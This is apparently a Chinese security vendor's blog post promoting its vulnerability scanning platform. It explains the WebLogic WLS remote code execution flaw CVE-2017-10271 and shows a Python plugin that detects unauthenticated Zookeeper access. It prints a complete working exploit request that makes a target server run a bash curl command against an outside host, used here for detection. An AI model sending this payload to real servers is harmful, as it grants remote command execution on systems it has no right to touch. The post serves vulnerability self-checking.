如何快速使用伏特自检WebLogic安全漏洞

2017-12-23 8,308

科普下黑产攻击者自动化

徐玉玉学费被骗致死,比特币勒索病毒WannaCry全球爆发,网站木马造成***被盗刷……近年来,因网络漏洞导致的恶性安全事件时有发生,影响到人们生活的方方面面。同时,蠕虫病毒、勒索软件、网站篡改、入侵物联网设备等新的网络攻击形式也在不断变化和增加,破坏性加剧。

黑产攻击者非常喜欢使用粗暴的漏洞进行批量化,从安识科技应急响应处理的数百个案例来看,攻击者大多数是利用redis,docker等未授权,java RMI命令执行漏洞,反序列化漏洞,ssh,mysql,rdp,Tomcat等弱口令自动化攻击,自动化执行DDOS或者挖矿程序,甚至是勒索软件病毒加密,给企业造成巨大的危害。

越发严峻的信息安全形势,促使网络安全市场发展提速。部分中小企业,安全意识薄弱,预算少且缺乏运营团队,面临着突出的安全风险,进而对全行业构成隐患。如何打破边界,开放合作,建立全产业联动的安全生态新模式,成为业界关注的焦点,保护商业大环境的安全已经迫在眉睫。

简介下WebLogic WLS 组件命令执行漏洞

漏洞名称 WebLogic WLS 组件命令执行漏洞
漏洞描述 CVE-2017-10271是一个最新的利用Oracle WebLogic中WLS 组件的远程代码执行漏洞,属于没有公开细节的野外利用漏洞,大量企业尚未及时安装补丁。官方在 2017 年 10 月份发布了该漏洞的补丁。
潜在危害 该漏洞的利用方法较为简单,攻击者只需要发送精心构造的 HTTP 请求,就可以拿到目标服务器的权限,危害巨大。攻击者能够同时攻击Windows及Linux主机,并在目标中长期潜伏。
修复建议 登录Oracle官方网站,下载WebLogic十月份补丁并安装

攻击POC如下:

POST /wls-wsat/CoordinatorPortType?wsdl HTTP/1.1
Host: www.secpulse.com:7001
Accept-Encoding: identity
Content-Length: 826
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Referer: http://www.baidu.com
Cache-Control: max-age=0
Content-Type: text/xml
X-Forwarded-For: 127.0.0.1
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java version="1.8.0_131" class="java.beans.XMLDecoder">
 <void class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="3">
 <void index="0">
 <string>/bin/bash</string>
 </void>
 <void index="1">
 <string>-c</string>
 </void>
 <void index="2">
 <string>curl http://www.secpulse.com:9090/</string>
 </void>
 </array>
 <void method="start"/></void>
 </java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>


安识的老司机分分钟就写好了个py小工具,搭建了个漏洞环境进行了成功复现测试。


blob.png


a1.jpg

但是如何把这个插件合理化、专业产品化输出到伏特分布式漏洞扫描平台给广大厂商自检自查呢?


突如其来的伏特简介


文字太累,要说的话都在图里面啦。

blob.png

blob.png

blob.png


快速使用伏特自检WebLogic安全漏洞


伏特分布式漏洞扫描云平台支持生态插件功能,里面有大量安全专家编写的插件功能,这些插件在伏特后端智能加载到主被动扫描引擎,从而为企业检测出安全漏洞并且提供专业修复意见协助漏洞修复。



blob.png

企业可以快速方便的在伏特选择某一个插件进行批量高级扫描,或者选择某一个端口进行弱密码相关爆破。


blob.png


如我们的demo插件案例(Zookeeper未授权访问漏洞)写法:

    #!/usr/bin/env python
    #coding:utf-8
    from dummy import *
    import socket

    class TScript_Info():
        def __init__(self, request=None, response=None):
            self.info = {}
            self.info['auther'] = "安识小王子" # 插件作者
            self.info['create_date'] = "2017-07-01" # 插件编辑时间
            self.info['algroup'] = "Zookeeper未授权访问" # 漏洞名称
            self.info['affects'] = "信息泄露" # 漏洞影响
            self.info['parameter'] = "zookeeper_unaccess_script" # 插件名称
            self.info['desc_content'] = "该漏洞会泄露服务器环境变量配置信息, 为攻击者下一步提供信息!" # 漏洞描述
            self.info['impact_content'] = "泄露系统敏感信息,如应用绝对路径、代理配置信息等。" # 潜在危害
            self.info['recm_content'] = "设置IP白名单访问或对进行授权限制。" # 修复建议
            self.info['request'] = request # http请求信息, 默认为空
            self.info['response'] = response # http响应信息, 默认为空

    def assign(service, arg): # 此函数为检测服务类型是否符合预期
        """ 
        1. 系统调用payload前,首先会判断服务类型(插件调用前会进行cms指纹识别),如果符合服务类型,则会继续进行检查。
        2. 如果目标为web服务,但未检测出更精确cms指纹, 默认会给出www服务类型。
        3. 如果目标为其他服务, 如ssh、mysql等,默认会给一个IP的服务类型。
        4. 因此如果您的插件需要检测web相关漏洞,可指定对应的service为www或更精准的类型如phpmyadmin,如果不确定能识别到该cms指纹, 直接填www即可。 反之,如果是检测服务漏洞,填写service为ip即可。
        """
        if service.lower() == 'ip': # 这里检测的时目录穿越漏洞, 属于web漏洞, 因此这里选择servive为www
            return True, arg
        else:
            return False, False

    def audit(arg): # 此函数为验证具体漏洞
        if arg:
            try:
                socket.setdefaulttimeout(2)
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((arg, int(2181)))
                flag = "envi"
                s.send(flag)
                data = s.recv(1024)
                s.close()
                if 'Environment' in data:
                    warning_info = arg + ' ' + "Zookeeper Unauthorized access"
                    _t = TScript_Info(response=data)
                    security_warning(warning_info, _t.info)
                    print warning_info, data
            except:
                pass
                
    if __name__ == '__main__':
        audit(assign('ip', 'www.secpulse.com')[1])

那如何写好“WebLogic WLS 组件命令执行漏洞”插件呢?

主要思路还是依据上述漏洞POC模拟发送curl命令,然后去我们的dnslog平台捕获结果自动化反馈确认。

部分代码如下:

a3.png

如下图 我们在伏特分布式漏洞扫描平台里面成功使用该插件发现WebLogic WLS 组件命令执行漏洞"漏洞,并且合理全面的告知企业。

目前伏特分布式漏洞扫描平台已经集成数千枚专业的安全插件。


a2.png

so,快来体验一下伏特分布式漏洞扫描平台吧!


本文作者:安识科技

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/66576.html

Tags:
评论  (0)
快来写下你的想法吧!

安识科技

文章数:76 积分: 135

安识科技:专业的企业安全解决方案提供商。官网:https://www.duoyinsu.com/

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号